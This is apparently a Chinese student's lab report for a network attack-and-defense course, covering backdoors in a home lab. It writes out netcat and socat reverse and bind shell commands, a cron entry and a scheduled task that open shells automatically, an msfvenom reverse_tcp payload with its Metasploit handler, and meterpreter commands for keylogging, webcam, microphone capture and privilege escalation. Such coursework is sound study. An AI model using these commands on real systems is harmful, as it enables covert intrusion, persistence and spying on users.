2019-2020-2 20175324 王陈峤宇《网络对抗技术》Exp2 后门原理与实践

2019-2020-2 20175324  王陈峤宇《网络对抗技术》Exp2 后门原理与实践

一、实验目标

1、熟悉后门的概念
2、使用netcat实现win,linux之间的后门连接
3、掌握meterpreter的应用
4、了解MSF POST 模块的应用
5、学会win,linux的后门启动方式

二、基础知识

1、后门概念

就是不经过正常认证流程而访问系统的通道。

2、后门宿主:

(1)编译器留后门
(2)操作系统留后门
(3)应用程序中留后门
(4)潜伏于操作系统中或伪装为特定应用的专用后门程序。

3、后门工具

(1)netcat:又名nc或ncat,是一个底层工具,
(2)soCat:Netcat++,超级netcat工具。
(3)Meterpreter:msfvenom生成的后门可执行文件。

三、实验内容

1、使用netcat获取主机操作Shell,cron启动

1.1、Windows获得Linux Shell

在Windows下使用ipconfig查看本机IP为192.168.0.152

使用ncat.exe程序打开监听ncat.exe -l -p 5312,在kali中反弹连接Windows,ncat 192.168.3.161 5312 -e /bin.sh,使用-e选项执行shell程序

在kali中反弹连接Windows,ncat 192.168.3.161 5312 -e /bin.sh,使用-e选项执行shell程序,windows已经获得kali的linux Shell


1.2、Linux获得Windows Shell

在kali中使用ip addr查看IP为192.168.149.129

打开监听nc -l -p 5324

在Windows中反弹连接kali,ncat.exe -e cmd.exe 192.168.149.129 5324

kali成功获得Windows的命令提示

 

 

1.3、使用nc传输数据

Windows下监听5324端口,ncat.exe -l 5324

kali反弹连接到Windows的5324端口,nc 192.168.0.152 5312

out

1.4、使用nc传输文件(将文件从kali传给Windows)

Windows下监听5324端口,并把收到的数据保存到file5324.out中,ncat.exe -l 5324 > file1.

kali 反弹连接到Windows的5324端口,nc 192.168.0.152 5324 < file1.in

连接建立成功,Windows可以收到kali发来的文件。

1.5、 使用netcat获取主机操作Shell,cron启动

Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
crontab -e指令增加一条定时任务,-e表示编辑。因为是第一次编辑,故提示选择编辑器,这里选择的是3。

最后一行添加59 * * * * /bin/netcat 192.168.0.152 5324 -e /bin/sh,意思是在每个小时的第59分钟反向连接Windows主机的5324端口。

时间到达59分的时候,如下图所示(如果使用ls命令出现问题,可以使用比较简单的whoami命令,也能验证)

2、使用socat获取主机操作Shell, 任务计划启动

socat是ncat的增强版,它使用的格式是socat [options]

,其中两个address是必选项,而options是可选项。

socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

在此电脑中点击管理点击任务计划程序,再点击创建任务填写任务名,新建一个触发器,选择定时启动

 选择socat.exe文件的路径,在添加参数一栏填写tcp-listen:5324 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5324,同时把cmd.exe的stderr重定向到stdout上:

 

创建好后任务准备就绪,到达18.33后,刷新,可以发现之前创建的任务已经开始运行。

此时,在kali中输入输入指令socat - tcp:192.168.0.152:5324,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的5324端口,此时可以发现已经成功获得了一个cmd shell

 

3、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=5324 -f exe > 20175324_backdoor.exe,这里的IP地址为控制端IP,即KaliIP,可见已经生成了后门程序“20175324_backdoor.exe”

在Windows下执行ncat.exe -l 5324 > 20175324_backdoor.exe,这样被控主机就进入了接收文件模式,也可以使用ncat.exe -lv 5324 > 20175324_backdoor.exe指令,通过-lv选项看到当前的连接状态,在kali中执行nc 192.168.0.152 5324 < 20175324_backdoor.exe(这里的IP为被控主机IP,即WindowsIP)

在kali上使用msfconsole指令进入msf控制台

输入use exploit/multi/handler使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
set LHOST 192.168.149.129,这里用的是KaliIP,和生成后门程序时指定的IP相同
set LPORT 5324,同样要使用相同的端口

设置完成之后,执行监听,并运行Windows下的后门程序,此时kali上已经获得了Windows主机的连接,并且得到了远程控制的shell

 

4、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

使用record_mic指令可以截获一段音频(可以使用-d选项设置录制时间)

使用webcam_snap指令可以使用摄像头进行拍照

使用keyscan_start指令记录下击键的过程,使用keyscan_dump指令读取击键记录。

使用screenshot指令可以进行截屏:

使用getuid指令查看当前用户,使用getsystem指令进行提权操作

 

四、问题与解决

1、ifconfig无法使用

输入sudo提权就能运行了

2、20175324_backdoor.exe总是会被电脑删掉

需要在系统的安全中心添加信任“允许在电脑上运行”。

 

五、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?
下载某些应用程序的压缩包中可能附带有后门程序。


(2)例举你知道的后门如何启动起来(win及linux)的方式?
Windows:设置开机启动、用户执行带后门的执行文件,添加信任。
Linux:Crontab、shellcode注入。


(3)Meterpreter有哪些给你映像深刻的功能?

通过后门控制被控主机的shell,进行拍照摄像; 录音,截取用户的声音片段; 记录下用户键盘键入的所有操作,而且神不知鬼不觉。


(4)如何发现自己有系统有没有被安装后门?

用安全软件定时检测系统有无异常,经常查看电脑的开机自启动项有无异常。

 

六、实验总结与体会

本次实验难度较低,基本照着操作来就行。但是在实验过程中,电脑自带的安全软件造成了不小的困扰。

现在更渴望学到后门程序免杀的知识了。

 

posted @ 2020-03-22 14:51  2017532王陈峤宇  阅读(244)  评论(0编辑  收藏  举报